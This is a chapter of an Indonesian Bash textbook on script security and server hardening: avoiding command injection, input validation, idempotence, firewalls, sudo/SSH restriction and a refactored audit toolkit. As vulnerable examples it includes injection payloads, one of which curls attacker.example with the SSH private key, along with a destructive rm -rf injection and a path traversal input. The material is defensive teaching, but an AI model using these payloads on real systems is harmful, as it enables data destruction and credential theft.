Bab 3.4.5 sudah menyinggung sekilas bahaya eval lewat contoh eval "cat $nama_file", dengan janji pembahasan lebih dalam soal command injection dan validasi input ditunda ke bab ini. Bab 15.3.3 juga menjanjikan pembahasan lebih mendalam soal prinsip idempotent, dan Bab 22.3.1 menunda pembahasan risiko credential yang bocor lewat script. Bab ini menepati ketiga janji itu sekaligus, karena ternyata ketiganya berakar dari masalah yang sama: script Bash yang ditulis Sysadmin atau Developer nyaris selalu berjalan dengan hak akses tinggi, sering lewat sudo atau bahkan sebagai root lewat cron, dan sering menerima input dari sumber yang tidak sepenuhnya bisa dipercaya, entah itu argumen dari user lain, isi file yang diunggah, atau response dari API pihak ketiga. Satu baris ceroboh di situ cukup untuk membuka jalan bagi Attacker. Bab ini dibagi jadi empat bagian: menghindari command injection dan kebiasaan unquoted variable (23.1), validasi input serta idempotensi script (23.2), hardening dasar di level server mencakup audit port, firewall, dan deteksi user mencurigakan (23.3), lalu ditutup studi kasus merefactor satu script "berantakan" jadi toolkit health-check sekaligus security check yang aman (23.4).
23.1 Command Injection dan Unquoted Variable
Empat sub-bab ini membedah cara Attacker menyisipkan perintah tak diinginkan ke dalam script yang kelihatannya biasa saja, sekaligus pola penulisan yang menutup celah tersebut sejak awal.
23.1.1 eval dan Interpolasi String yang Berbahaya
Contoh eval "cat $nama_file" di Bab 3.4.5 terlihat sepele, tapi mari perluas jadi skenario yang lebih realistis: sebuah script backup menerima nama folder lewat argumen, lalu memakai eval supaya bisa menyisipkan opsi tambahan secara dinamis.
#!/bin/bash
# JANGAN DITIRU, contoh kode rentan
folder="$1"
eval "tar czf backup.tar.gz $folder"Kalau dipanggil normal seperti ./backup.sh data, perintah di atas berjalan seperti yang dimaksud. Masalahnya muncul kalau Attacker (atau sekadar User yang tidak sengaja) mengisi argumen dengan data; rm -rf ~/penting #. Karena eval mengevaluasi string hasil interpolasi sebagai perintah shell baru, titik koma di situ mengakhiri perintah tar lalu memulai perintah baru yang menghapus folder ~/penting secara paksa, dan tanda pagar # di akhir membuat sisa baris asli dianggap komentar sehingga tidak memicu error sintaks yang mungkin bisa mengagetkan pemanggilnya. Inilah command injection, teknik menyisipkan perintah shell tambahan lewat input yang seharusnya cuma berupa data biasa.
eval nyaris tidak pernah benar-benar dibutuhkan untuk pemrosesan input biasa; kebanyakan kasus yang kelihatannya perlu eval sebenarnya bisa diselesaikan dengan array (23.1.3) atau parameter expansion biasa. Versi amannya untuk kasus di atas cukup begini, tanpa eval sama sekali:
folder="$1"
tar czf backup.tar.gz "$folder"Double quote di sekitar "$folder" memastikan seluruh isinya, termasuk titik koma dan tanda pagar sekalipun, diperlakukan sebagai satu argumen literal untuk tar, bukan dievaluasi ulang sebagai instruksi shell. Prinsip dari Bab 3.4.3 ini adalah pertahanan pertama dan paling murah terhadap command injection, dan kebiasaan yang wajib dibawa ke setiap baris kode sejak awal, bukan ditambal belakangan setelah insiden terjadi.
23.1.2 Command Substitution sebagai Vektor Injection
Bahaya serupa juga mengintai lewat command substitution ($() atau backtick, Bab 3.4.4) kalau string yang mengandungnya sampai dievaluasi ulang oleh shell. Pola ini sering muncul tanpa disadari lewat bash -c atau ssh host "perintah" yang membangun perintah dari string hasil gabungan variabel.
# JANGAN DITIRU, contoh kode rentan
pesan="$1"
bash -c "logger \"Alert: $pesan\""Kalau $pesan berasal dari input tepercaya, baris ini aman. Tapi kalau $pesan berasal dari payload webhook eksternal atau isi form yang diisi User lain, dan isinya kebetulan mengandung $(curl attacker.example/steal?data=$(cat ~/.ssh/id_rsa)), bash -c akan mengevaluasi ulang seluruh string itu sebagai skrip baru, membuat command substitution di dalamnya benar-benar tereksekusi, termasuk mengirim isi private key SSH ke server milik Attacker. Masalah intinya bukan pada $() itu sendiri, melainkan pada kebiasaan membangun perintah baru lewat interpolasi string lalu menyerahkannya ke bash -c atau shell baru untuk dievaluasi ulang.
Solusi paling aman adalah menghindari pola "bangun string perintah, lalu eksekusi ulang lewat shell baru" sama sekali kalau sebagian isinya berasal dari input luar. Kalau memang perlu memanggil logger, panggil langsung sebagai perintah biasa, bukan dibungkus bash -c:
pesan="$1"
logger "Alert: $pesan"Baris ini memperlakukan $pesan sebagai satu argumen data untuk logger, bukan sebagai bagian dari skrip yang harus dievaluasi ulang, jadi command substitution apa pun di dalamnya tetap jadi teks literal, tidak pernah benar-benar dijalankan.
23.1.3 Array untuk Command Dinamis yang Aman
Kebutuhan membangun perintah dengan opsi yang berubah-ubah (misalnya sebagian opsi bersifat opsional) sering jadi alasan Sysadmin tergoda memakai eval. Array (Bab 4.1) menyelesaikan kebutuhan ini tanpa risiko injection sama sekali, karena tiap elemen array tetap jadi argumen terpisah sampai akhir, tidak pernah digabung ulang jadi satu string yang dievaluasi.
cmd=(rsync -a --delete)
if [[ "$MODE_UJI" == "true" ]]; then
cmd+=(--dry-run)
fi
cmd+=("$SUMBER" "$TUJUAN")
"${cmd[@]}"cmd+=(...) menambahkan elemen baru ke akhir array tanpa menghapus isi sebelumnya, sesuai GNU Bash Reference Manual soal operator += pada array. Baris terakhir, "${cmd[@]}", mengeksekusi seluruh elemen array sebagai satu perintah dengan argumen-argumen terpisah, persis seperti kalau ditulis manual, tapi jumlah dan isi argumennya bisa disusun dinamis lewat logika kondisi biasa. Kalau $SUMBER atau $TUJUAN mengandung spasi atau karakter aneh sekalipun, keduanya tetap terhitung satu argumen utuh karena "${cmd[@]}" (dengan quote di sekitarnya) menjaga batas antar elemen array tetap presisi, sesuatu yang mustahil dijamin kalau opsi-opsi itu digabung jadi satu string lalu di-eval.
23.1.4 Filename Diawali Minus dan Separator --
Satu jebakan lain yang jarang disadari: kalau nama file yang diproses berasal dari input luar (misalnya hasil find di direktori upload publik), nama file itu bisa saja sengaja dibuat menyerupai opsi command, misalnya file bernama -rf atau --exec=id.
file="-rf"
rm "$file"Walau "$file" sudah di-quote dengan benar, rm tetap membaca -rf sebagai gabungan opsi -r dan -f, bukan sebagai nama file, karena quoting cuma mencegah word splitting dan globbing, bukan mengubah bagaimana perintah tujuan menafsirkan argumennya. Kalau nama file semacam itu muncul di dalam loop yang memproses banyak file sekaligus, hasilnya bisa jadi penghapusan paksa yang tidak dimaksud sama sekali. Solusinya adalah separator --, konvensi POSIX yang menandai "semua argumen setelah ini bukan opsi, perlakukan sebagai nama file apa adanya", didukung nyaris semua utilitas command line standar termasuk rm, grep, dan find -exec.
rm -- "$file"Kebiasaan menambahkan -- sebelum argumen yang bisa jadi berasal dari input luar layak jadi standar, khususnya untuk perintah yang bersifat destruktif seperti rm, mv, atau chmod. Cara tercepat memverifikasi kebiasaan quoting dan pola berbahaya seperti ini secara otomatis, tanpa harus membaca ulang tiap baris manual, adalah menjalankan shellcheck terhadap script, tool linting yang dibahas tuntas di Bab 25.4; kebiasaan menjalankannya sebelum setiap script masuk produksi jauh lebih murah dibanding menemukan celahnya lewat insiden nyata.
23.2 Validasi Input dan Idempotensi Script
Menghindari command injection baru menutup satu sisi masalah. Sisi lainnya adalah memastikan script menolak data yang tidak masuk akal sejak awal, dan tetap aman kalau harus dijalankan berkali-kali, entah karena User menjalankannya manual dua kali tanpa sadar atau karena cron memicu eksekusi baru sebelum yang lama selesai.
23.2.1 Whitelist Input dengan Regex dan case
Pendekatan yang salah kaprah sering ditemui di lapangan adalah mencoba memblokir karakter berbahaya satu per satu, dikenal sebagai pendekatan blacklist. Pendekatan ini rapuh karena Attacker cuma perlu menemukan satu karakter yang belum masuk daftar blokir. Pendekatan yang jauh lebih kuat adalah whitelist, hanya menerima pola yang sudah pasti aman, dan menolak semua yang lain secara default.
validasi_hostname() {
local host="$1"
if [[ ! "$host" =~ ^[a-zA-Z0-9.-]+$ ]]; then
echo "Hostname tidak valid: $host" >&2
return 1
fi
}
validasi_port() {
local port="$1"
if [[ ! "$port" =~ ^[0-9]+$ ]] || (( port < 1 || port > 65535 )); then
echo "Port tidak valid: $port" >&2
return 1
fi
}validasi_hostname() cuma menerima huruf, angka, titik, dan tanda hubung, pola yang sesuai format hostname/domain valid sesuai RFC dan cukup ketat untuk menolak karakter shell berbahaya seperti titik koma atau tanda kurung. validasi_port() menggabungkan dua lapis pengecekan: regex ^[0-9]+$ memastikan isinya cuma digit (mencegah string aneh lolos ke perbandingan angka), lalu (( )) dari Bab 6.2.1 memastikan angkanya berada di rentang port valid. Fungsi seperti ini seharusnya dipanggil di baris paling awal, sebelum variabel $host atau $port sempat disentuh fungsi cek_endpoint() atau cek_port() dari Bab 22.2, karena kedua fungsi itu aslinya langsung memakai argumennya tanpa validasi sama sekali.
23.2.2 Mencegah Path Traversal dengan realpath
Script yang menerima nama file atau path dari input luar, misalnya tool pengolah arsip di Bab 14.2 atau script yang memindahkan file hasil upload, rawan terhadap path traversal, teknik menyisipkan urutan ../ di dalam path supaya proses yang seharusnya cuma menyentuh satu folder tertentu justru bisa mengakses file di luar folder itu, misalnya /etc/passwd.
BASE_DIR="/var/www/uploads"
path_aman() {
local input="$1"
local resolved
resolved=$(realpath -m "$BASE_DIR/$input") || return 1
[[ "$resolved" == "$BASE_DIR"/* ]]
}realpath (bagian dari GNU coreutils) menyelesaikan sebuah path jadi bentuk absolut serta menghapus komponen . dan .. di dalamnya. Opsi -m/--canonicalize-missing sengaja dipakai di sini, bukan mode default -E/--canonicalize, karena menurut dokumentasi resmi GNU coreutils, mode default mewajibkan seluruh komponen path kecuali komponen terakhir untuk benar-benar ada, sementara -m tidak mewajibkan komponen mana pun untuk ada, cocok dipakai memvalidasi path tujuan yang memang belum tentu sudah dibuat. Setelah path diselesaikan ke bentuk absolutnya, perbandingan [[ "$resolved" == "$BASE_DIR"/* ]] memastikan hasilnya benar-benar masih berada di dalam $BASE_DIR; kalau input mengandung ../../etc/passwd, hasil realpath-nya akan keluar dari awalan $BASE_DIR dan pengecekan ini otomatis menolaknya.
23.2.3 Idempotensi: Cek Dulu Sebelum Mengubah
Bab 15.3.3 mendefinisikan idempotent sebagai sifat aman dijalankan berkali-kali tanpa efek samping tak terduga. Cara paling sederhana mencapai sifat ini adalah selalu mengecek kondisi saat ini lebih dulu sebelum melakukan perubahan, bukan langsung mengeksekusi perubahan begitu saja.
pastikan_user_ada() {
local user="$1"
if id "$user" &> /dev/null; then
echo "User $user sudah ada, lewati"
return 0
fi
useradd -m -s /bin/bash "$user"
}id "$user" keluar dengan exit status bukan nol kalau user itu belum ada, jadi fungsi ini aman dipanggil berkali-kali tanpa mencoba membuat user yang sama dua kali. Sebagai perbandingan, tanpa pengecekan id ini, memanggil useradd -m -s /bin/bash deploy yang usernya sudah ada akan keluar dengan exit status 9, sesuai dokumentasi resmi useradd di man7.org untuk kondisi "username or group name already in use"; kalau script dipakai bersama set -e (Bab 25.1), exit status bukan nol ini langsung menghentikan seluruh script, padahal situasinya sebenarnya tidak fatal sama sekali, cuma menandakan pekerjaannya sudah pernah selesai sebelumnya.
Prinsip yang sama berlaku untuk manipulasi file konfigurasi: daripada selalu echo "baris baru" >> file.conf yang bisa menduplikasi baris kalau script dijalankan dua kali, cek dulu apakah barisnya sudah ada.
tambah_baris_config() {
local baris="$1" file="$2"
grep -qF -- "$baris" "$file" || echo "$baris" >> "$file"
}grep -qF mencari baris itu secara literal (-F, bukan sebagai regex) dan diam (-q, tanpa output), cukup mengandalkan exit status-nya; separator -- dari 23.1.4 tetap dipasang berjaga-jaga kalau isi $baris kebetulan diawali tanda minus. Kalau baris itu sudah ada, grep berhasil (exit 0) dan operator || (Bab 6.4.2) melewati bagian echo; kalau belum ada, grep gagal dan barisnya baru ditambahkan. Bab 23.3.3 nanti memakai prinsip pengecekan dulu yang sama persis untuk aturan firewall lewat iptables -C.
23.2.4 Mengunci Eksekusi Ganda dengan flock
Idempotensi di 23.2.3 menjamin hasil akhirnya konsisten meski dijalankan berkali-kali secara berurutan, tapi belum menjamin apa-apa kalau dua instance script yang sama kebetulan berjalan bersamaan, misalnya cron memicu jadwal baru padahal eksekusi sebelumnya belum selesai karena server sedang lambat. flock, bagian dari paket util-linux yang tersedia luas di distro Linux modern, mengelola file lock supaya cuma satu instance yang boleh berjalan dalam satu waktu.
#!/bin/bash
exec 200>/var/lock/toolkit-keamanan.lock
if ! flock -n 200; then
echo "Sudah ada instance lain yang berjalan, keluar" >&2
exit 1
fi
# ... isi script yang butuh dijalankan eksklusif ...exec 200>/var/lock/toolkit-keamanan.lock membuka file lock lewat file descriptor nomor 200 (Bab 5.2), angka yang sengaja dipilih besar supaya tidak bentrok dengan file descriptor standar 0, 1, dan 2. flock -n 200 mencoba mengunci file descriptor itu tanpa menunggu (-n/--nonblock), sesuai man flock; kalau lock sudah dipegang instance lain, perintah ini langsung gagal alih-alih menggantung menunggu, dan script keluar bersih lewat cabang if. Lock ini otomatis terlepas begitu script selesai atau proses berakhir paksa sekalipun, karena kernel melepas file lock begitu file descriptor pemiliknya ditutup, jadi tidak perlu trap tambahan (Bab 25.2) khusus untuk membersihkannya.
23.3 Hardening Dasar Server
Bagian ini bergeser dari keamanan level script ke keamanan level server itu sendiri: port mana yang seharusnya terbuka, aturan firewall yang menjaganya, dan tanda-tanda akun mencurigakan yang mungkin sudah disusupkan Attacker.
23.3.1 Audit Port Terbuka dengan ss dan Whitelist
ss -tuln sudah diperkenalkan di Bab 22.1.3 untuk mendiagnosis koneksi, cuma pemakaiannya di sana masih manual dan hasilnya dibaca sendiri oleh Sysadmin. Untuk kebutuhan hardening, pola ini layak diotomatiskan: bandingkan daftar port yang benar-benar listening dengan daftar port yang memang seharusnya terbuka, lalu tandai kalau ada yang mencurigakan.
PORT_DIIZINKAN=(22 80 443)
audit_port() {
local port terdaftar
while read -r port; do
terdaftar=false
for p in "${PORT_DIIZINKAN[@]}"; do
[[ "$port" == "$p" ]] && terdaftar=true && break
done
if [[ "$terdaftar" == false ]]; then
echo "PERINGATAN: port $port terbuka tapi tidak ada di whitelist"
fi
done < <(ss -tuln | awk 'NR>1 {print $5}' | rev | cut -d: -f1 | rev | sort -un)
}Kolom kelima output ss -tuln berisi Local Address:Port; memisahkan nomor port dari alamatnya tidak bisa sekadar cut -d: -f2 karena alamat IPv6 sendiri sudah mengandung banyak titik dua. Trik rev | cut -d: -f1 | rev membalik teksnya dulu, mengambil kolom pertama setelah dibalik (yang berarti kolom terakhir dari teks aslinya, yaitu port), lalu membalik lagi hasilnya ke urutan normal, cara yang tetap benar baik untuk alamat IPv4 maupun IPv6. Pola < <(perintah) adalah process substitution, memungkinkan while read membaca langsung dari output sebuah pipeline tanpa menjalankannya di subshell terpisah seperti disinggung di Bab 5.3.5, penting di sini supaya variabel yang di-assign di dalam loop nanti bisa dipakai di luar loop kalau memang dibutuhkan pengembangan lebih lanjut.
23.3.2 Firewall ufw di Debian/Ubuntu
ufw (Uncomplicated Firewall) adalah antarmuka penyederhana untuk mengelola firewall di Linux, populer khususnya di keluarga distro Debian dan Ubuntu. Berdasarkan dokumentasi resmi Ubuntu, begitu diaktifkan, ufw secara default menolak seluruh koneksi masuk dan mengizinkan seluruh koneksi keluar, kebijakan yang selaras dengan prinsip least privilege: tutup semuanya dulu, baru buka satu per satu yang memang dibutuhkan.
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow 22/tcp
sudo ufw allow 443/tcp
sudo ufw enable
sudo ufw status verboseUrutan di atas sengaja mengizinkan port 22 (SSH) sebelum mengaktifkan ufw lewat ufw enable. Ini bukan sekadar kebiasaan rapi, tapi peringatan keamanan yang serius: kalau ufw enable dijalankan lebih dulu sebelum port SSH diizinkan, dan koneksi Sysadmin ke server itu sendiri memang lewat SSH, Sysadmin akan langsung terkunci keluar dari server saat itu juga tanpa cara masuk kembali lewat jaringan, cuma bisa dipulihkan lewat akses konsol fisik atau console darurat dari panel cloud provider. Detail penting lain: menjalankan ufw allow 22/tcp dua kali tidak menghasilkan aturan duplikat, karena ufw mendeteksi aturan yang identik dan otomatis menampilkan pesan "Skipping adding existing rule" alih-alih menambahkannya lagi, jadi perintah ini sudah idempotent secara bawaan sesuai prinsip 23.2.3, berbeda dengan iptables mentah yang dibahas berikutnya.
23.3.3 Firewall iptables dan firewalld
iptables bekerja pada level yang lebih rendah dibanding ufw, dan jadi dasar dari ufw itu sendiri di banyak distro. Satu detail yang perlu diketahui Sysadmin modern: menurut Debian Wiki dan dokumentasi keamanan Ubuntu, sejak Debian 10 (Buster) dan Ubuntu 20.10, perintah iptables yang dijalankan secara default sebenarnya adalah iptables-nft, lapisan kompatibilitas yang menerjemahkan aturan ke backend nftables di balik layar, bukan backend iptables klasik lagi; status backend yang aktif bisa dicek lewat sudo update-alternatives --display iptables.
sudo iptables -L -n -v-L menampilkan aturan yang ada, -n menampilkan alamat dan port secara numerik tanpa resolusi DNS (mempercepat tampilan dan menghindari timeout DNS di server terisolasi), dan -v menambahkan detail seperti jumlah paket dan byte yang cocok tiap aturan, sesuai man iptables. Berbeda dengan ufw allow yang otomatis mendeteksi duplikat, iptables -A (append) akan menambahkan aturan baru setiap kali dipanggil, sekalipun aturan yang identik sudah ada, sehingga script yang menjalankan iptables -A lewat cron tanpa pengecekan bisa berakhir dengan ratusan baris aturan duplikat setelah berjalan lama. Solusinya mengikuti prinsip 23.2.3, memakai -C/--check yang menurut man iptables memeriksa apakah sebuah aturan sudah ada di chain tertentu tanpa mengubah apa pun, sebelum benar-benar menambahkannya.
sudo iptables -C INPUT -p tcp --dport 443 -j ACCEPT 2>/dev/null || \
sudo iptables -A INPUT -p tcp --dport 443 -j ACCEPTUntuk distro keluarga RHEL, CentOS, dan Fedora, pengelolaan firewall sehari-hari lazimnya tidak langsung menyentuh iptables/nftables, melainkan lewat firewalld sebagai lapisan manajemen di atasnya, dengan konsep zone untuk mengelompokkan aturan berdasarkan tingkat kepercayaan jaringan.
sudo firewall-cmd --state
sudo firewall-cmd --add-port=443/tcp --permanent
sudo firewall-cmd --reload--permanent menyimpan perubahan ke konfigurasi yang bertahan setelah reboot, tapi baru benar-benar aktif setelah --reload dipanggil; tanpa --permanent, aturan yang ditambahkan cuma berlaku sampai firewalld di-restart atau server reboot. Karena ufw, iptables mentah, dan firewalld masing-masing spesifik ke kebiasaan distro tertentu, langkah pertama sebelum menulis script hardening apa pun adalah memastikan tool mana yang benar-benar aktif di server yang sedang dikelola, bukan berasumsi salah satunya berlaku universal.
23.3.4 Membatasi Hak Akses sudo dan SSH
Bab 17.3.3 sudah memperingatkan bahaya menuliskan deploy ALL=(ALL) NOPASSWD: ALL dan menunda pembahasan "hardening akses semacam ini" ke bab ini, dan Bab 21.2.1 menunda cara membatasi risiko private key SSH tanpa passphrase lewat opsi command= di authorized_keys. Sub-bab ini menepati keduanya sekaligus, karena keduanya sebenarnya penerapan prinsip yang sama, yaitu prinsip hak akses minimal dari Bab 17.3.3, dipakai bukan cuma sekali waktu membuat izin baru, tapi juga secara berkala untuk mengaudit izin yang sudah ada.
sudo -l -U deploy
sudo grep -rE 'NOPASSWD|ALL=\(ALL\)' /etc/sudoers /etc/sudoers.d/ 2>/dev/nullsudo -l -U deploy menampilkan seluruh perintah yang boleh dijalankan user deploy lewat sudo; menurut man sudo, opsi -U/--other-user dipakai bersama -l untuk memeriksa hak akses user lain, bukan cuma user yang sedang login, dan lewat kebijakan sudoers bawaan opsi ini dibatasi hanya untuk root atau user yang memang diberi hak list. Baris grep berikutnya memindai /etc/sudoers beserta seluruh file di /etc/sudoers.d/ untuk pola NOPASSWD atau ALL=(ALL) tanpa batasan perintah spesifik, dua pola yang layak dicurigai setiap ditemukan saat audit rutin. Baris seperti deploy ALL=(root) NOPASSWD: /usr/bin/systemctl restart aplikasi-web.service dari Bab 21.3.2 aman karena scope-nya sudah dipersempit ke satu perintah dan satu unit spesifik, sementara ALL=(ALL) NOPASSWD: ALL untuk user non-root mana pun layak jadi tanda bahaya yang wajib ditindaklanjuti begitu ditemukan.
Prinsip yang sama berlaku untuk SSH key. Kunci id_ed25519_deploy tanpa passphrase dari Bab 21.2.1 memang praktis untuk automasi, tapi kalau file private key itu bocor, siapa pun yang memegangnya bisa membuka shell interaktif penuh ke server tujuan. Opsi tambahan di authorized_keys membatasi apa yang bisa dilakukan sebuah key, ditulis sebagai daftar dipisah koma sebelum key itu sendiri di baris yang sama.
restrict,command="/usr/local/bin/terima-backup.sh" ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA... deploy@app-01Menurut dokumentasi resmi authorized_keys(5), opsi restrict (tersedia sejak OpenSSH 7.2) mengaktifkan semua pembatasan sekaligus, yaitu mematikan port forwarding, agent forwarding, X11 forwarding, alokasi PTY, dan eksekusi ~/.ssh/rc, jadi key itu cuma bisa dipakai untuk hal paling minimal yang dibutuhkan. command="..." memaksa sshd selalu menjalankan perintah yang ditentukan begitu autentikasi berhasil, mengabaikan perintah apa pun yang sebenarnya diminta client; perintah asli yang diminta client tetap bisa dibaca lewat environment variable SSH_ORIGINAL_COMMAND di dalam script terima-backup.sh, berguna kalau satu key perlu melayani beberapa sub-perintah berbeda tapi tetap dalam satu whitelist yang jelas. Key deploy dari Bab 21 yang dibatasi dengan pola ini, sekalipun sampai bocor, cuma bisa memicu satu perintah spesifik itu, tidak pernah bisa dipakai membuka shell bebas menjelajahi seluruh server.
23.3.5 Mendeteksi User dan Login Mencurigakan
Bab 17.3.1 membahas useradd untuk membuat user secara sah. Sub-bab ini membalik sudut pandangnya: bagaimana mendeteksi kalau ada akun yang dibuat secara tidak sah oleh Attacker sebagai backdoor, jalur akses tersembunyi yang sengaja ditinggalkan untuk dipakai kembali nanti.
echo "User dengan UID 0 (setara root):"
awk -F: '$3 == 0 {print $1}' /etc/passwdCuma satu baris yang seharusnya muncul dari perintah di atas, yaitu root sendiri. Kalau ada nama lain ikut muncul, itu tanda serius akun tersebut punya hak akses setara root walau namanya bukan root, pola umum yang dipakai Attacker supaya tidak mudah dicurigai lewat pengecekan sekilas whoami atau daftar user aktif biasa.
echo "Akun tanpa password (login tanpa autentikasi):"
sudo awk -F: '($2 == "") {print $1}' /etc/shadowMenurut dokumentasi resmi shadow(5), kalau field kedua di /etc/shadow kosong, sistem tidak mewajibkan password sama sekali untuk login sebagai user itu, walau sebagian aplikasi yang membaca file itu memilih tetap menolak akses kalau field-nya kosong. Perintah ini wajib dijalankan dengan sudo karena /etc/shadow memang sengaja dibuat cuma bisa dibaca root, beda dengan /etc/passwd yang bisa dibaca semua user.
echo "10 login terakhir:"
last -n 10
echo "Login pertama tiap akun:"
lastlog | grep -v 'Never logged in'last membaca riwayat login dari /var/log/wtmp, sementara lastlog menampilkan waktu login terakhir tiap akun yang terdaftar di sistem, keduanya bagian dari paket util-linux/shadow-utils yang tersedia bawaan di kebanyakan distro Linux. Yang perlu diwaspadai dari sudut pandang praktisi: akun dengan waktu login yang tidak sesuai pola kerja normal (misalnya login jam tiga pagi dari akun yang biasanya cuma dipakai proses otomatis lewat cron, bukan login interaktif) layak diselidiki lebih lanjut, bukan otomatis dianggap normal cuma karena akunnya memang ada dan valid di sistem.
23.4 Studi Kasus: Refactor Toolkit Keamanan
Studi kasus penutup menggabungkan seluruh prinsip 23.1 sampai 23.3 lewat skenario yang sering terjadi di lapangan: sebuah script lama, ditulis terburu-buru waktu server baru pertama kali disiapkan, yang sebenarnya bekerja tapi menyimpan banyak risiko tersembunyi.
23.4.1 Script Awal yang Bermasalah
Berikut cek-server-lama.sh, versi awal yang jadi bahan refactor, lengkap dengan masalah-masalahnya:
#!/bin/bash
# JANGAN DITIRU, kumpulan contoh kode bermasalah
API_TOKEN=123456789:ABCdefGhIJKlmNoPQRsTUVwxyZ
HOST=$1
ping -c 1 $HOST
eval "curl -s http://$HOST/health"
useradd -m monitoring
iptables -A INPUT -p tcp --dport 9100 -j ACCEPT
echo "cek selesai" >> /tmp/log.txt23.4.2 Memetakan Masalah ke Prinsip Keamanan
Tiap baris di script itu punya masalah yang sudah dibahas bab ini, dirangkum di tabel berikut supaya jelas alasannya, bukan sekadar "salah" tanpa penjelasan.
| Baris Bermasalah | Kenapa Berbahaya | Prinsip Perbaikan |
|---|---|---|
API_TOKEN=123456789:... | Credential tertulis langsung di script, gampang bocor kalau ikut ter-commit ke Git | Simpan di file terpisah, permission chmod 600, seperti pola 20.4.2 |
HOST=$1 dipakai langsung | Tidak ada validasi, rawan disalahgunakan sebagai bagian command injection | 23.2.1, validasi whitelist dengan regex |
eval "curl ... $HOST" | Command injection lewat eval kalau $HOST mengandung karakter shell | 23.1.1, hapus eval, pakai quoting biasa |
useradd -m monitoring | Gagal (exit 9) dan menghentikan script kalau dijalankan ulang dan user sudah ada | 23.2.3, cek dengan id dulu |
iptables -A ... tanpa cek | Menambah aturan duplikat setiap kali script dijalankan ulang | 23.3.3, cek dengan iptables -C dulu |
>> /tmp/log.txt | Tidak ada timestamp, sulit ditelusuri, dan /tmp bisa diakses semua user di sistem | 19.2.2, fungsi logging dengan level dan timestamp ke lokasi khusus |
23.4.3 Implementasi toolkit-keamanan.sh
Versi hasil refactor menggabungkan validasi input, idempotensi, pengecekan port dan firewall, deteksi user mencurigakan, sekaligus health check dari Bab 22, jadi satu toolkit yang dipanggil lewat opsi getopts mengikuti pola Bab 12.2.
#!/bin/bash
set -uo pipefail
exec 200>/var/lock/toolkit-keamanan.lock
flock -n 200 || { echo "Instance lain sedang berjalan" >&2; exit 1; }
source /etc/toolkit-keamanan/kredensial.env
LOG_FILE="/var/log/toolkit-keamanan.log"
PORT_DIIZINKAN=(22 80 443)
log() {
printf '[%s] [%s] %s\n' "$(date '+%Y-%m-%d %H:%M:%S')" "$1" "${*:2}" >> "$LOG_FILE"
}
validasi_hostname() {
[[ "$1" =~ ^[a-zA-Z0-9.-]+$ ]]
}
cek_endpoint() {
local url="$1"
local kode
kode=$(curl -s -o /dev/null -w '%{http_code}' --connect-timeout 5 --max-time 10 "$url")
[[ "$kode" =~ ^2 ]]
}
pastikan_user_monitoring() {
if id monitoring &> /dev/null; then
log INFO "User monitoring sudah ada, lewati"
else
useradd -m -s /usr/sbin/nologin monitoring
log INFO "User monitoring dibuat"
fi
}
pastikan_firewall_exporter() {
if iptables -C INPUT -p tcp --dport 9100 -j ACCEPT 2>/dev/null; then
log INFO "Aturan firewall port 9100 sudah ada, lewati"
else
iptables -A INPUT -p tcp --dport 9100 -j ACCEPT
log INFO "Aturan firewall port 9100 ditambahkan"
fi
}
audit_port() {
while read -r port; do
if [[ ! " ${PORT_DIIZINKAN[*]} " =~ " $port " ]]; then
log WARN "Port $port terbuka tapi tidak ada di whitelist"
fi
done < <(ss -tuln | awk 'NR>1 {print $5}' | rev | cut -d: -f1 | rev | sort -un)
}
audit_user_mencurigakan() {
local ekstra
ekstra=$(awk -F: '$3 == 0 && $1 != "root" {print $1}' /etc/passwd)
[[ -n "$ekstra" ]] && log WARN "User UID 0 selain root ditemukan: $ekstra"
}
HOST=""
while getopts ":h:" opsi; do
case "$opsi" in
h) HOST="$OPTARG" ;;
*) echo "Penggunaan: $0 -h HOST" >&2; exit 1 ;;
esac
done
if [[ -n "$HOST" ]]; then
if ! validasi_hostname "$HOST"; then
log WARN "Hostname tidak valid ditolak: $HOST"
exit 1
fi
if cek_endpoint "https://$HOST/health"; then
log INFO "Health check $HOST: OK"
else
log WARN "Health check $HOST: GAGAL"
fi
fi
pastikan_user_monitoring
pastikan_firewall_exporter
audit_port
audit_user_mencurigakan
log INFO "Selesai satu siklus pengecekan"Setiap perbaikan di tabel 23.4.2 muncul persis di versi ini: kredensial.env dipisah dan disumberkan lewat source, mengikuti pola 20.4.2 dengan permission chmod 600 di filenya; $HOST divalidasi lewat validasi_hostname() sebelum dipakai sama sekali; eval hilang total, digantikan pemanggilan curl langsung lewat cek_endpoint(); pastikan_user_monitoring() dan pastikan_firewall_exporter() masing-masing mengecek kondisi dulu sebelum mengubah apa pun, sesuai 23.2.3; dan log() mencatat semuanya dengan timestamp serta level, ke lokasi /var/log yang layak, bukan /tmp. Baris flock -n 200 di awal memastikan tidak ada dua instance yang tumpang tindih kalau eksekusi sebelumnya kebetulan belum selesai.
23.4.4 Verifikasi Idempotensi dan Penjadwalan
Cara paling meyakinkan membuktikan sebuah script benar-benar idempotent adalah menjalankannya dua kali berturut-turut dan membandingkan hasilnya, bukan sekadar percaya begitu saja karena kodenya "kelihatan" sudah benar.
chmod +x toolkit-keamanan.sh
sudo ./toolkit-keamanan.sh -h api.example.com
sudo ./toolkit-keamanan.sh -h api.example.com
sudo iptables -L INPUT -n | grep 9100
tail -n 20 /var/log/toolkit-keamanan.logPerhatikan output iptables -L INPUT -n | grep 9100 setelah dua kali eksekusi, seharusnya cuma muncul satu baris aturan untuk port 9100, bukan dua. Periksa juga isi log, baris kedua eksekusi seharusnya menunjukkan pesan "lewati" untuk user dan firewall, bukan mengulang proses pembuatan yang sama. Untuk menguji jalur penolakan, coba panggil dengan hostname yang sengaja mengandung karakter mencurigakan seperti ./toolkit-keamanan.sh -h "api.example.com; id" dan pastikan log mencatat penolakan tanpa sempat menjalankan apa pun ke curl. Setelah kedua pengujian ini lolos, jadwalkan lewat systemd timer atau cron (Bab 18) untuk berjalan otomatis tiap beberapa menit, dan sambungkan hasil audit_port() serta audit_user_mencurigakan() ke kirim_alert() dari Bab 20.4.2 supaya Sysadmin langsung mendapat notifikasi begitu ada penyimpangan, bukan menunggu ditemukan manual lewat pembacaan log satu per satu.
